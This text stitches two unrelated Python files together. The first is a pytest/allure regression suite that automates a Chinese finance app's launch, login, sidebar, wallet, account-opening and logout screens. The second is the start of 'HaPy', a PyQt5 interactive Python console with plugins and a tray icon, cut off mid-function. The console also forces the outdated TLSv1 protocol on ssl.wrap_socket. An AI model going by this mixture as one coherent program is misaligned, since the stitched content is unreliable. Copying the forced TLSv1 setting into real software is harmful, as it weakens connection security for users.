test = Assert.Assertions()
action = Operate.Operation()
sys.path.append(path.dirname(path.dirname(path.abspath(__file__))))

class TestRegression:
    @pytest.allure.feature('Regression')
    @pytest.allure.feature("01.启动app后进入比财")
    @pytest.allure.severity('critical')
    def test_go_main_01(self, d):
        """
        首次启动app点击进入比财,如果有广告页点击x关闭，
        :param d:
        :return:
        """

        time.sleep(5)

        with pytest.allure.step("启动页点击进入比财"):

            action.click_element(d, "启动页进入比财")

        with pytest.allure.step("如果弹出广告页点x关闭"):
            if d(resourceId=get_value("广告页")).exists:  # 如果弹出广告页

                action.click_element(d, "广告页关闭")  # 点击x关闭

        with pytest.allure.step("验证启动app点击进入比财是否进入首页"):

            test.assert_element_exists_save_picture(d, d(text="一键登录").exists, "验证是否有文本为一键登录的控件")

        Consts.RESULT_LIST.append('True')

    @pytest.allure.feature('Regression')
    @pytest.allure.feature("02.比财登录")
    @pytest.allure.severity('critical')
    def test_login_02(self, d):
        """
        比财账号登录

        """

        global USER_ID   # 使用账号

        USER_ID = str(get_value("xc测试机手机号"))

        picture_verification_code = str(get_value("四位图片验证码"))

        login_verification_code = str(get_value("登录验证码"))

        with pytest.allure.step("点击app首页一键登录"):
            action.click_element(d, "首页一键登录")

        with pytest.allure.step("在登录页账号输入框输入账号"):
            action.input_element(d, "登录页账号输入框", USER_ID)

        with pytest.allure.step("点击获取验证码"):
            action.click_element(d, "登录页获取验证码按钮")  # 点击获取验证码

        #  如果弹出4位数字图片验证码
        with pytest.allure.step("输入4位验证码"):
            time.sleep(2)
            if d(text=u"请填写图像验证码").exists:
                action.input_element(d, "图片验证码输入框", picture_verification_code )
                with pytest.allure.step("点击确认按钮"):
                    action.click_element(d, "图片验证码确定按钮")

        with pytest.allure.step("输入6位验证码"):
            action.input_element(d, "登录验证码输入框", login_verification_code)

        with pytest.allure.step("点击立即登录"):
            action.click_element(d, "立即登录按钮")

        with pytest.allure.step("验证是否登录成功"):
            test.assert_element_exists_save_picture(d, not d(resourceId=get_value("首页一键登录")).exists, "验证是否登录")

        Consts.RESULT_LIST.append('True')

    @pytest.allure.feature('Regression')
    @pytest.allure.feature("03.弹出侧边栏")
    @pytest.allure.severity('critical')
    def test_sidebar_eject_03(self, d):
        """
         验证点击左上角图标弹出侧边栏功能
        """

        global cebian_button  # 侧边栏按钮

        global realname_status  # 实名认证状态

        cebian_button = ["我的关注", "我的消息", "我的钱包", "关于我们"]

        with pytest.allure.step("点击左上角图标"):
            action.click_element(d, "首页左上角图标")
            time.sleep(10)

        with pytest.allure.step("检验侧边栏控件"):
            for i in range(cebian_button.__len__()):
                test.assert_element_exists_save_picture(d, d(text=cebian_button[i]).exists, "验证侧边栏"+cebian_button[i]+"按钮控件存在")

        with pytest.allure.step("验证账号为已登录状态，账号为" + USER_ID):

            user_id = d(resourceId=get_value("侧边栏账号")).get_text()

            test.assert_equal_save_picture(d, user_id, USER_ID.replace((USER_ID[3:7]), "****"), "账号" + USER_ID + "已登录状态")

        Consts.RESULT_LIST.append('True')

    @pytest.allure.feature('Regression')
    @pytest.allure.feature("04.点击我的钱包")
    @pytest.allure.severity('critical')
    def test_click_bicai_wallet_04(self, d):
        """
        点击我的钱包跳转
        :param d:
        :return:
        """

        global remaining_sum_type  # 首次点击进入账户余额显示/隐藏状态记录
        global change_remaining_sum_type  # 再次进入账户余额显示/隐藏状态记录
        with pytest.allure.step("点击我的钱包"):
            action.click_element_with_text(d, "我的钱包", "我的钱包")
            test.assert_title(d, "我的钱包")
        Consts.RESULT_LIST.append('True')

    @pytest.allure.feature('Regression')
    @pytest.allure.feature("05.点击II类户跳转")
    @pytest.allure.severity('critical')
    def test_click_type_two_accounts_05(self, d):
        """
        点击二类户跳转
        :param d:
        :return:
        """

        with pytest.allure.step("点击II类户跳转"):
            # d(description=u"A37H3tXWoJVwAAAAAASUVORK5CYII=").click()
            d(text=u"Ⅱ类户").click(timeout=10)
            time.sleep(1)

        with pytest.allure.step("校验是否跳转成功"):
            test.assert_title(d, "II类户")

        Consts.RESULT_LIST.append('True')

    @pytest.allure.feature('Regression')
    @pytest.allure.feature("06.点击立即开户")
    @pytest.allure.severity('blocker')
    def test_click_fast_open_account_06(self, d):
        """
        点击二类户立即开户跳转实名认证页
        :param d:
        :return:
        """

        with pytest.allure.step("点击II类户立即开户"):
            action.click_element(d, "立即开户")

        with pytest.allure.step("校验是否跳转成功"):
            test.assert_title(d, "实名认证")

        with pytest.allure.step("校验实名认证页内容"):
            real_name_tips = d(resourceId=get_value("实名认证提示2")).get_text()
            test.assert_equal_save_picture(d, real_name_tips, "购买理财需实名认证", "验证提示文本")

        with pytest.allure.step("校验去实名认证控件是否存在"):
            test.assert_element_exists_save_picture(d, d(resourceId=get_value("去实名认证")).exists, "验证去实名认证控件存在")
            Consts.RESULT_LIST.append('True')

    @pytest.allure.feature('Regression')
    @pytest.allure.feature("07.点击去实名认证")
    @pytest.allure.severity('blocker')
    def test_click_go_real_name_07(self, d):
        """
        点击去实名认证
        :param d:
        :return:
        """

        with pytest.allure.step("点击去实名认证"):
            action.click_element(d, "去实名认证")

        with pytest.allure.step("校验是否跳转成功"):
            test.assert_title(d, "身份证认证")

        action.display_picture(d, "用户未实名")

        with pytest.allure.step("点击返回icon"):
            action.click_element(d, "返回icon")

        with pytest.allure.step("点击返回icon"):
            action.click_element(d, "返回icon")

        with pytest.allure.step("点击返回icon"):
            action.click_element(d, "返回icon")
        Consts.RESULT_LIST.append('True')

    @pytest.allure.feature('Regression')
    @pytest.allure.feature("08.点击设置")
    @pytest.allure.severity('Block')
    def test_click_set_up_08(self, d):
        """
        点击设置
        :param d:
        :return:
        """
        with pytest.allure.step("点击左上角图标"):
            action.click_element(d, "首页左上角图标")

        with pytest.allure.step("点击设置"):

            time.sleep(5)

            action.click_element(d, "侧边栏设置")

        with pytest.allure.step("title校验"):
            test.assert_title(d, "设置")

        Consts.RESULT_LIST.append('True')

    @pytest.allure.feature('Regression')
    @pytest.allure.feature("09.app退出")
    @pytest.allure.severity('critical')
    def test_sign_out_app_09(self, d):
        """
        退出app
        :param d:
        :return:
        """

        with pytest.allure.step("点击安全退出"):

            action.click_element(d, "安全退出")

        with pytest.allure.step("点击确认退出_是"):

            action.click_element(d, "确认退出_是")

        with pytest.allure.step("验证app已成功退出"):

            assert d(text="一键登录").exists  # 验证是否有文本为一键登录的控件

        action.display_picture(d, "app退出")

        Consts.RESULT_LIST.append('True')


from code import InteractiveInterpreter
import code
from importlib.abc import InspectLoader
from threading import Thread
from time import strftime
import atexit

import cgi
import inspect
import mimetypes
import os, sys
import re
import shutil
import traceback
import urllib
import requests
from bs4 import BeautifulSoup
import json
import urllib3
import xmlutils
import logging
import subprocess
import xml.etree.ElementTree as ET
#import pythoncom, logging
#from pylab import *
import sqlite3
import sip
#import fatcow_rc
import tarfile

from PyQt5.uic.Compiler.qtproxies import QtWidgets
from PyQt5.QtWidgets import QFileDialog
#from PyQt5.uic import pyuic5
import pkgutil
import inspect
os.environ["REQUESTS_CA_BUNDLE"] = os.path.join(os.getcwd(), "cacert.pem")

"""
In UI File REPLACE below line
from Qsci.qsciscintilla import QsciScintilla
with this line
from PyQt5.Qsci import QsciScintilla
"""
from PyQt5.Qsci import QsciScintilla
from PyQt5.uic import loadUi
#import win32com
#import win32com.client
import pprint
from PyQt5 import Qsci
from kmxPyQt import kmxQtMenuBuilder
import argparse

import ssl
from functools import wraps
def sslwrap(func):
    @wraps(func)
    def bar(*args, **kw):
        kw['ssl_version'] = ssl.PROTOCOL_TLSv1
        return func(*args, **kw)
    return bar

ssl.wrap_socket = sslwrap(ssl.wrap_socket)

def convertToRaw(text):
    """Returns a raw string representation of text"""
    escape_dict={'\a':r'\a',
                 '\b':r'\b',
                 '\c':r'\c',
                 '\f':r'\f',
                 '\n':r'\n',
                 '\r':r'\r',
                 '\t':r'\t',
                 '\v':r'\v',
                 '\'':r'\'',
                 '\"':r'\"'}
    new_string=''
    for char in text:
            try:
                    new_string += escape_dict[char]
            except KeyError:
                    new_string += char
    return new_string

def errorReport():
    # Show/Return Error Report
    traceback_lines = traceback.format_exc().split('\n')
    data = '\n'.join(traceback_lines)
    print(data)
    return data

def crashHandle():
    # Prepare Report
    data = errorReport()
    f = open('CrashReport.txt', 'w')
    f.write(str(data))
    f.close()
    sys.exit(0)

# Safly Import Additional Modules
try:
    from PyQt5 import QtCore, QtGui, Qsci, QtWidgets
    # import lxml
    # import xlrw
    # import xlrd
except:
    crashHandle()

# Safly Import Custom Modules
try:
    from kmxPyQt.devConsole3.DCwin import Ui_devConsole
    from kmxPyQt.qne import qneblock
    from kmxPyQt import kmxQtTreeWidget
    from kmxPyQt import kmxQtCommonTools
    from kmxGeneral import kmxTools
    from kmxGeneral import kmxDynamicModules
    from kmxPyQt import kmxQtConnections

    import http.server
    #from devPlugs import *

except:
    crashHandle()

class DevConsole(QtWidgets.QMainWindow, QtWidgets.QDialog, Ui_devConsole):
    '''
    DevConsole
    self.qtTools = kmxQtCommonTools.CommonTools(self.win, self.iconPath)
    self.qtTools.applyStyle()
    dv = self.qtTools.getIconString('/04/16/39.png')
    self.qtConsole = DevConsolePlug.DevConsole(self.win,
                                                ShowPrint=True,
                                                ShowError=True,
                                                StatusBar=self.win.statusBar,
                                                AsDock=True,
                                                InitalizeScripts=True,
                                                logCount=30,
                                                btnIcon=dv,
                                                addObj=self)

    Arguments:
    ShowPrint... Captures all print outputs to DevConsole o/p
    ShowError... Captures all error info outputs to DevConsole o/p

    Methods:
    appendPlainOutput(txt) ... Append plain text into DevConsole o/p
    appendSplOutput(txt) ... Append TimeStamped text into DevConsole o/p

    '''

    def __init__(self, parent=None,
                    ShowPrint=True,
                    ShowError=True,
                    StatusBar=None,
                    AsDock=False,
                    logCount=30,
                    ScriptsPath='Scripts/',
                    InitalizeScripts=True,
                    btnText="Console",
                    btnIcon="F:/04/06/29.PNG",
                    addObj=None):
        '''
        Parent - Pass QWIDGET based objects. Else I will create my own.
        ShowPrint - Redirect standard prints
        ShowError - Redirect standard errors
        StatusBar - Attach DevC Invoke button to this status bar else You should invoke DevC explicitly
        AsDock - If True creates DevC as a dock else as a dialog window
        '''
        last_update_date='July 02 2015' # July 02 2015 , Jan 12 2013
        self.addObj = addObj
        self.parent = parent
        self.asDock = AsDock
        self.logCount = logCount

        super(DevConsole, self).__init__(self.parent)
        atexit.register(self.writeToLog)

        # Load File
        self.loadedFile = False
        self.loadedFileName = ''
        self.pyDesigner = 'C:\Python34\Lib\site-packages\PyQt5\designer.exe'

        #Flags
        self.qtTools = kmxQtCommonTools.CommonTools(self)
        self.ttls = kmxTools.Tools()
        self.qtTree = kmxQtTreeWidget.TreeWidget()
        self.qtMenu = kmxQtMenuBuilder.MenuBuilder()
        self.qtConn = kmxQtConnections.QtConnections(self)
        self.qtIcon = kmxQtCommonTools.iconSetup(self)

        self.standalone = 0 if self.parent else 1

        if self.standalone:
            print ('No parent specified! Creating standalone console!')
            self.parent = self.win = QtWidgets.QMainWindow()
            self.win.resize(689, 504)

            self.mainWidget = QtWidgets.QWidget(self.win)
            self.setupUi(self.mainWidget)
            self.win.setCentralWidget(self.mainWidget)
            self.toolbar = QtWidgets.QToolBar('Main Tools',self)
            self.toolbar2 = QtWidgets.QToolBar('Additional Tools',self)
            self.toolbar.setFloatable(True)
            self.toolbar2.setFloatable(True)
            self.win.addToolBar(self.toolbar)
            self.win.addToolBar(self.toolbar2)
            self.setStandAloneModeFeatures()

            self.btnExecute.setVisible(0)
            self.btnLoadScript.setVisible(0)
            self.btnSaveScript.setVisible(0)
            self.btnNewScript.setVisible(0)
            self.btnQuickSaveScript.setVisible(0)

            self.label.setVisible(1)
            self.label.setText('Output:')
            self.line.setVisible(0)
            #self.sciOutput.resize(self.sciOutput.width(), self.sciOutput.height() + 90)

        elif self.asDock:
            if hasattr(self.parent, 'addDockWidget'):
                print ('Creating dock based console!')
                self.win = QtWidgets.QDockWidget(self.parent)
                base = QtWidgets.QWidget()
                self.setupUi(base)
                self.win.setWidget(base)
                self.parent.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.win)

                # print ('Creating dock based console!')
                # self.dck = QtWidgets.QDockWidget(self.parent)
                #
                # dlg = QtWidgets.QWidget()
                #
                # self.win = QtWidgets.QMainWindow()
                # lyt = QtWidgets.QVBoxLayout()
                # lyt.addWidget(self.win)
                # wdgt = QtWidgets.QWidget(self.dck)
                # self.setupUi(wdgt)
                # self.win.setCentralWidget(wdgt)
                #
                # dlg.setLayout(lyt)
                #
                # self.dck.setWidget(dlg)
                # self.parent.addDockWidget(QtCore.Qt.DockWidgetArea(2), self.dck)

            else:
                print ('Unsupported Parent for creating dock based console! ' + str(self.parent))
                print ('Connecting console to given parent as a dialog...' + str(self.parent))
                self.win = QtWidgets.QDialog(self.parent)
                self.setupUi(self.win)
        else:
            print ('Connecting console to given parent as a dialog...' + str(self.parent))
            self.win = QtWidgets.QDialog(self.parent)
            self.setupUi(self.win)

        self.outputFont = self.sciOutput.font()
        self.outputFont.setFamily("Courier")
        self.outputFont.setPointSize(10)
        self.outputFont.setFixedPitch(True)
        self.sciOutput.setFont(self.outputFont)
        self.sciOutput.setMarginsFont(self.outputFont)

        print("Outputs Redirected to HaPy. Check HaPy console log for furthur system messages.")
        if ShowPrint: sys.stdout = self
        if ShowError: sys.stderr = self

        self.inter = InteractiveInterpreter()
        self.inter.locals['dev'] = self
        globals()['dev'] = self

        self.win.setWindowIcon(self.parent.windowIcon())
        self.win.setWindowTitle('HaPy')

        self.PLX = Qsci.QsciLexerPython(self)
        self.ABS = Qsci.QsciAPIs(self.PLX)
        # self.PLX.setAPIs(self.ABS)
        self.ABS.prepare()

        self.sciOutput.setReadOnly(1)
        self._setQSci(self.sciOutput)

        # Connections
        self.tabWidget.tabCloseRequested.connect(self.tabClose)

        if not self.standalone:
            self.btnExecute.clicked.connect(self.btnRedirector)
            #self.btnExecute_2.clicked.connect(self.btnRedirector)
            self.btnLoadScript.clicked.connect(self.btnRedirector)
            self.btnSaveScript.clicked.connect(self.btnRedirector)
            self.btnNewScript.clicked.connect(self.btnRedirector)
            self.btnQuickSaveScript.clicked.connect(self.btnRedirector)

        self.qtTools.connectToRightClick(self.treeWidget,self.pluginRightClick)
        self.tabWidget.__class__.keyReleaseEvent = self.tabKeyPress

        if StatusBar:
            self.stsBtnDebugger = QtWidgets.QToolButton(self.parent)
            self.stsBtnDebugger.setText(btnText)
            self.stsBtnDebugger.setToolTip(btnText)
            self.stsBtnDebugger.setAutoRaise(1)
            self.stsBtnDebugger.setMaximumHeight(18)
            StatusBar.addPermanentWidget(self.stsBtnDebugger, 0)
            self.stsBtnDebugger.clicked.connect(self.btnRedirector)
            icon = QtGui.QIcon()
            icon.addPixmap(QtGui.QPixmap(btnIcon), QtGui.QIcon.Normal, QtGui.QIcon.On)
            self.stsBtnDebugger.setIcon(icon)
        else:
            self.stsBtnDebugger = None

        self.win.hide()

        # Plugin Lister
        #self.treeWidget.headerItem().setText(0, "DevS")
        self.treeWidget.itemDoubleClicked.connect(self.pluginSelected)

        self.treeWidget.setVisible(False)

        print ('---------------------------------------')
        print ('HaPy - Handy Python')
        print ('Interactive Interpreter')
        print ('---------------------------------------')
        print ('Initiated!')

        print ('\nLog Start Time: ' + str(strftime("%Y/%m/%d %H:%M:%S")))
        print ('\n---------------------------------------\n')
        print ('*** Python %s on %s.***' % (sys.version, sys.platform))
        print (sys.copyright)
        print ('')
        print ('Platform: ' + sys.platform)
        print ('Version: ' + str(sys.getwindowsversion()))
        print ('FileSys encodeing: ' + str(sys.getfilesystemencoding()))

        drline = "\n---------------------------------------\n"
        self.credit = drline + 'About HaPy:\nHandy Python - Interactive Interpreter/Scripting Environment \nAn expreimental project by \nKumaresan Lakshmanan\nFor Quick, Portable windows automation. \nDate: ' + last_update_date + drline
        print(self.credit)

        self.InitalizeScripts = InitalizeScripts
        self.scriptsDirName = ScriptsPath
        self.scriptsPath = os.path.abspath(self.scriptsDirName)
        print("Checking scripts path..."+ os.path.abspath(self.scriptsPath))

        if self.scriptsPath:
            if self.InitalizeScripts and self.scriptsPath and not os.path.exists(self.scriptsPath):
                os.makedirs(self.scriptsPath)
        else:
            print ('Invalid script path!')

        #Start loading the scripts...
        try:
            self.execPlugin()
            self.treeWidget.setVisible(True)
        except:
            print (errorReport())

        try:
            if self.InitalizeScripts:
                self.execStartUp()
            else:
                self.addEmptyTab()
        except:
            print (errorReport())

        if self.standalone:
            self.qtConn.uiMain = self.win
            self.qtConn.installEventHandler()
            self.qtConn.addEventConnection(self.win, 'WindowDeactivate', self.onWinDeAct)
            self.qtConn.addEventConnection(self.win, 'Close', self.onClose)
            self.qtConn.addEventConnection(self.win, 'Hide', self.onHide)
            self.qtConn.addEventConnection(self.win, 'Show', self.onShow)

            if (os.path.exists('layout.lyt')):
                customList = self.qtTools.uiLayoutRestore('layout.lyt',[self.splitter,self.splitter_2])
                if(customList):
                    self.win.resize(customList[0])
                    self.win.move(customList[1])
            self.loadTabs()
        print("All set, You are ready to go...")

    def onWinDeAct(self, *arg):
        #self.win.hide()
        pass

    def _handleTrayItemClicked(self, itemName):
        pass

    def trayItemClicked(self, *arg):
        caller = self.sender()
        itm = caller.text()
        if(itm=='Quit'):
            sys.exit(0)
        if(itm=='About'):
            print(self.credit)
        if(itm=='Help'):
            print('Not Implemented')

    def trayAgentReady(self):
        """
        trayagent(forwho,trayclickedfunction)

        catch the trayobj i trhough...
        Dont forget to kill your object on Close Event
        use...
        xtools.traykiller()

        """
        self.tray = QtWidgets.QSystemTrayIcon(self.qtIcon.getIcon('action_log.png'), self.win)
        self.tray.activated.connect(self.trayClicked)
        #self.connect(self.tray,SIGNAL("activated(QSystemTrayIcon::ActivationReason)"),self.trayClicked)
        self.tray.show()
        return self.tray

    def trayClicked(self, click):

        if(click==3):
            if (self.win.isVisible()):
                self.win.hide()
            else:
                self.win.show()
                #if self.win.windowState() == QtCore.Qt.WindowMinimized:
                self.win.setWindowState(QtCore.Qt.WindowActive)
                self.win.activateWindow()
                self.win.raise_()

    def traymessage(self, messagetitle, message):
        self.tray.showMessage(messagetitle,message)

    def traykiller(self):
        self.tray.hide()
        del(self.tray)

    def onClose(self,*arg):
        print("Closing...")
        self.traykiller()
        customList = [self.win.size(),self.win.pos()]
        self.qtTools.uiLayoutSave('layout.lyt',[self.splitter,self.splitter_2], customList)
        self.saveTabs()
        self.writeToLog()

    def onHide(self, *arg):
        #print("Hide")
        #self.win.setWindowFlags(QtCore.Qt.ToolTip)
        pass

    def onShow(self, *arg):
        #print("Show")
        #self.win.setWindowFlags(QtCore.Qt.Window)
        pass

    def saveTabs(self):
        lst=[]
        for cnt in range(0, self.tabWidget.count()):
            wdgt = self.tabWidget.widget(cnt)
            #'userSetup.py'
            lst.append(wdgt.toolTip())

        current = self.tabWidget.currentIndex()
        lst.append(current)
        self.qtTools.quickSave(lst, "tabs.tbs")

    def loadTabs(self):
        if (os.path.exists('tabs.tbs')):
            lst = self.qtTools.quickLoad("tabs.tbs")
            for cnt in range(0, len(lst)-1):
                if 'New Script' in lst[cnt]:
                    self.addEmptyTab()
                elif 'userSetup.py' in lst[cnt]:
                    continue
                else:
                    if (os.path.exists(lst[cnt])):
                        self.addNewTab(lst[cnt])
            index = lst[len(lst)-1]
            self.tabWidget.setCurrentIndex(index)

    def getUpdatedLocals(self):
        try:
            raise None
        except:
            frame = sys.exc_info()[2].tb_frame.f_back
        # evaluate commands in current namespace
        namespace = frame.f_globals.copy()
        namespace.update(frame.f_locals)
        return namespace

    def addShortcut(self, label='text', icon='bullet_star.png', callBackFn=None):
        if (text=='|'):
            self.toolbar2.addSeparator()
        else:
            action = QtWidgets.QAction(self)
            action.setText(label)
            if callBackFn is not None: action.triggered.connect(callBackFn)
            self.qtIcon.setIcon(action, icon)
            self.toolbar2.addAction(action)

    def setStandAloneModeFeatures(self):
        """
        Standalone Mode
        :return:
        """
        # Ready Menu Bar
        self.menubar = self.qtMenu.createMenuBar(self.win)
        self.mnuFile = self.qtMenu.createMenu(self.menubar, "File")
        self.mnuEdit = self.qtMenu.createMenu(self.menubar, "Edit")
        self.mnuRun = self.qtMenu.createMenu(self.menubar, "Run")
        self.mnuAbout = self.qtMenu.createMenu(self.menubar, "About")

        self.mnuFileNewScript = self.qtMenu.createMenuItem(self.win, self.mnuFile, "New Script", self.btnRedirector)
        self.qtMenu.createMenuItemSeperator(self.mnuFile)
        self.mnuFileLoadScript = self.qtMenu.createMenuItem(self.win, self.mnuFile, "Load Script", self.btnRedirector)
        self.mnuFileQuickSaveScript = self.qtMenu.createMenuItem(self.win, self.mnuFile, "Save Script", self.btnRedirector)
        self.mnuFileSaveScript = self.qtMenu.createMenuItem(self.win, self.mnuFile, "Save Script As", self.btnRedirector)
        self.qtMenu.createMenuItemSeperator(self.mnuFile)
        self.mnuFileQuit = self.qtMenu.createMenuItem(self.win, self.mnuFile, "Quit", self.btnRedirector)

        self.mnuEditClearOutput = self.qtMenu.createMenuItem(self.win, self.mnuEdit, "Clear Outputs", self.btnRedirector)
        self.mnuEditClearInput = self.qtMenu.createMenuItem(self.win, self.mnuEdit, "Clear Inputs", self.btnRedirector)

#        self.mnuRunExecuteNoClear = self.qtMenu.createMenuItem(self.win, self.mnuRun, "Execute Script + No Clear", self.execute_Clicked_NoClear)
#        self.mnuRunExecuteNoClear.setShortcut("Ctrl+Enter")
        self.mnuRunExecute = self.qtMenu.createMenuItem(self.win, self.mnuRun, "Execute Script", self.doExecute)
        self.mnuRunExecute.setShortcut("Ctrl+Enter")

        self.mnuAboutHPSE = self.qtMenu.createMenuItem(self.win, self.mnuAbout, "About HaPy", self.btnRedirector)

        self.qtIcon.setIcon(self.mnuFileNewScript, 'page.png')
        self.qtIcon.setIcon(self.mnuFileLoadScript, 'page_edit.png')
        self.qtIcon.setIcon(self.mnuFileQuickSaveScript, 'page_save.png')
        self.qtIcon.setIcon(self.mnuFileSaveScript, 'page_green.png')
        self.qtIcon.setIcon(self.mnuEditClearOutput, 'align_bellow.png')
        self.qtIcon.setIcon(self.mnuEditClearInput, 'align_above.png')
        self.qtIcon.setIcon(self.mnuRunExecute, 'page_lightning.png')
        self.qtIcon.setIcon(self.mnuAboutHPSE, 'emotion_happy.png')

        self.toolbar.addAction(self.mnuFileNewScript)
        self.toolbar.addSeparator()
        self.toolbar.addAction(self.mnuFileLoadScript)
        self.toolbar.addAction(self.mnuFileQuickSaveScript)
        self.toolbar.addSeparator()
        self.toolbar.addAction(self.mnuEditClearOutput)
        #self.toolbar.addAction(self.mnuEditClearInput)
        self.toolbar.addSeparator()
        self.toolbar.addAction(self.mnuRunExecute)

        #self.toolbar.addWidget(self.mnuFileLoadScript)
        self.tray = self.trayAgentReady()
        #self.rightMenu = self.qtMenu.createMenuForList(self, 'DevConsoleMenu', ['|','Help','About','|','Quit'], self.trayItemClicked)
        self.rightMenu = self.qtMenu.createMenu(None, 'DevConsoleMenu')
        self.tray.setContextMenu(self.rightMenu)
        self.updateTrayMenu('Quit',self.trayItemClicked)
        self.updateTrayMenu('|')
        self.updateTrayMenu('About',self.trayItemClicked)
        self.updateTrayMenu('Help',self.trayItemClicked)

        #self.setWindowFlags(QtCore.Qt.Tool)

        '''
        # Remove other buttons
        self.btnClearOutput.setVisible(0)
        self.toolButton.setVisible(0)
        self.line_5.setVisible(0)
        self.line_6.setVisible(0)
        self.line_7.setVisible(0)

        self.btnLoadScript.setVisible(0)
        self.btnSaveScript.setVisible(0)
        self.line.setVisible(0)

        self.btnClearInput.setVisible(0)
        self.btnExecute.setVisible(0)
        self.line_2.setVisible(0)
        self.line_3.setVisible(0)
        self.line_4.setVisible(0)

        self.sciOutput.resize(self.sciOutput.width(), self.sciOutput.height() + 90)
        self.label.setText("Output:")
        self.label_2.setText("Workspace:")
        self.label_3.setText("Quick Commands:")
        '''
    def updateTrayMenu(self, itemName, fnToCall=None):
        self.qtMenu.updateMenu(self,  self.rightMenu, itemName, fnToCall)

    def pluginRightClick(self, point):
        #menu = ['m1','m2',['m3','m31',['m32','m321','m322'],'m33'],'m4','m5',['m6','m61','m62'],'m7']
        #self.qtTools.popUpMenuAdv(menu,self.treeWidget,point,self.pluginRightClickSelected,'addedArgument')
        item = self.treeWidget.itemAt(point)

        if(item):
            name = item.text(0)
            path = item.data(0,QtCore.Qt.UserRole)
            if (os.path.exists(path)):
                if (os.path.isfile(path)):
                    #Edit - File (If UI File there, Edit them)
                    uiFile = item.data(0,QtCore.Qt.UserRole).replace('.py','.ui')
                    if (os.path.exists(uiFile)):
                        self.qtTools.popUpMenu(self.treeWidget,point,["Edit","Edit UI","Delete"],self.pluginRightClickSelected,["myarg1","myarg2"])
                    else:
                        self.qtTools.popUpMenu(self.treeWidget,point,["Edit","Delete"],self.pluginRightClickSelected,["myarg1","myarg2"])
                else:
                    #Directories - Nodes or Other dir
                    if (name == "nodes"):
                        self.qtTools.popUpMenu(self.treeWidget,point,["New Node"],self.pluginRightClickSelected,["myarg1","myarg2"])
                    else:
                        self.qtTools.popUpMenu(self.treeWidget,point,["New Simple Plug","New UI Plug","New Folder","Refresh"],self.pluginRightClickSelected,["myarg1","myarg2"])
            else:
                #Empty area - right clicked or unknown path.
                self.qtTools.popUpMenu(self.treeWidget,point,["New Simple Plug","New UI Plug","New Folder","Refresh"],self.pluginRightClickSelected,["myarg1","myarg2"])
        else:
            self.qtTools.popUpMenu(self.treeWidget,point,["New Simple Plug","New UI Plug","New Folder","Refresh"],self.pluginRightClickSelected,["myarg1","myarg2"])

    def pluginRightClickSelected(self,*arg):
        act = self.parent.sender()
        menuOption = act.text()
        item = self.treeWidget.itemAt(act.data())
        itemSelected = item.text(0) if item else None
        path = item.data(0,QtCore.Qt.UserRole) if item else self.scriptsPath
        if(menuOption=="Refresh"):
            self.execPlugin()
        if(menuOption=="New Folder"):
            nFolderName = self.qtTools.showInputBox("ScriptFolderName","Enter the new folder name", "folderName")
            if (nFolderName):
                newPath = os.path.join(path,nFolderName)
                os.makedirs(newPath, exist_ok=True)
                self.execPlugin()
        if(menuOption=="New Node"):
            nFileName = self.qtTools.showInputBox("ScriptName","Enter the new Node name", "newNode")
            if (nFileName):
                data = self.ttls.fileContent('templateNode.py')
                data = data.replace('Add', nFileName.capitalize())
                f = os.path.join(path, nFileName+".py")
                self.ttls.writeFileContent(f, data)
                self.execPlugin()
                self.addNewTab(f)
        if(menuOption=="New Simple Plug"):
            nFileName = self.qtTools.showInputBox("PlugName","Enter the new Plug name", "newPlug")
            if (nFileName):
                data = self.ttls.fileContent('templatePlug.py')
                data = data.replace('myClass', nFileName)
                f = os.path.join(path, nFileName+".py")
                self.ttls.writeFileContent(f, data)
                self.execPlugin()
                self.addNewTab(f)
        if(menuOption=="New UI Plug"):
            nFileName = self.qtTools.showInputBox("PlugName","Enter the new UI Plug name", "newUIPlug")
            if (nFileName):
                pyf = os.path.join(path, nFileName+".py")
                uif = os.path.join(path, nFileName+".ui")
                data = self.ttls.fileContent('templateUIPlug.py')
                data = data.replace('UI_myUIPlug.ui', uif)
                data = data.replace('myUIPlug', nFileName)
                self.ttls.writeFileContent(pyf, data)
                self.execPlugin()
                self.addNewTab(pyf)
                data = self.ttls.fileContent('templateUIPlug.ui')
                self.ttls.writeFileContent(uif, data)
                print("Created..." + pyf)
                print("Created..." + uif)
        if(menuOption=="Edit"):
            pyFile = (item.data(0,QtCore.Qt.UserRole))
            self.addNewTab(pyFile)
        if(menuOption=="Edit UI"):
            uiFile = item.data(0,QtCore.Qt.UserRole).replace('.py','.ui')
            args = '"' + self.pyDesigner + '"' + " " + '"' + uiFile + '"'
            print("Execute: (" + args + ")")
            subprocess.call(args)
        if(menuOption=="Delete"):
            pyFile = item.data(0,QtCore.Qt.UserRole)
            uiFile = pyFile.replace('.py','.ui')
            try:
                if(os.path.exists(pyFile)):
                    print("Deleting..." + pyFile)
                    os.remove(pyFile)
                if(os.path.exists(uiFile)):
                    print("Deleting..." + uiFile)
                    os.remove(uiFile)
                self.execPlugin()
            except OSError:
                pass

    def pluginSelected(self, *eve):
        selectedItem = eve[0]
        itemInfo = self.qtTree.getItemLabel(selectedItem)
        name = itemInfo['Label']
        path = itemInfo['Data']
        if(os.path.isfile(path)):
            print("\nExecuting: " + path)
            content = self.ttls.fileContent(path)
            self.runScript(content)

    def showAttrs(self, obj):
        dlg = QtWidgets.QDialog(self.win)
        dlg.setWindowTitle(str(type(obj)))
        lt = QtWidgets.QListWidget(dlg)
        for each in inspect.getmembers(obj):
            itm = QtWidgets.QListWidgetItem()
            attrName = str(each[0])
            fnSymbol = ""
            if(inspect.isfunction(each[1]) or inspect.ismethod(each[1])):
                args = inspect.getargspec(each[1])[0]
                fnSymbol = "(" + str(args) + ")"
            itm.setText(attrName + fnSymbol)
            lt.addItem(itm)
        dlg.setFixedHeight(190)
        dlg.setFixedWidth(255)
        dlg.show()

    def execPlugin(self, *arg):
        self.populatePlugins()

    def populatePlugins(self):
        self.treeWidget.clear()

        print("Loading Plugins... ")
        spath = os.getcwd()
        if('\.' in spath): return None
        self.addToSysPath(spath)

        for eachItem in os.listdir(self.scriptsPath):
            currentDirName = eachItem
            currentDirPath = os.path.join(self.scriptsPath,currentDirName)

            if (not "__" in currentDirPath):
                if os.path.isdir(currentDirPath):
                    rItem = self.qtTree.createItem(currentDirName, currentDirPath)
                    self.qtTree.addNewRoot(self.treeWidget, rItem)
                    self.populatePluginsCore(rItem, currentDirPath)
                else:
                    self.loadPlugin(currentDirPath)

        print("Plugins Loaded!")

    def populatePluginsCore(self, parentItem, searchPath):
        if('\.' in searchPath): return None
        self.addToSysPath(searchPath)
        for eachItem in os.listdir(searchPath):
            currentDirName = eachItem
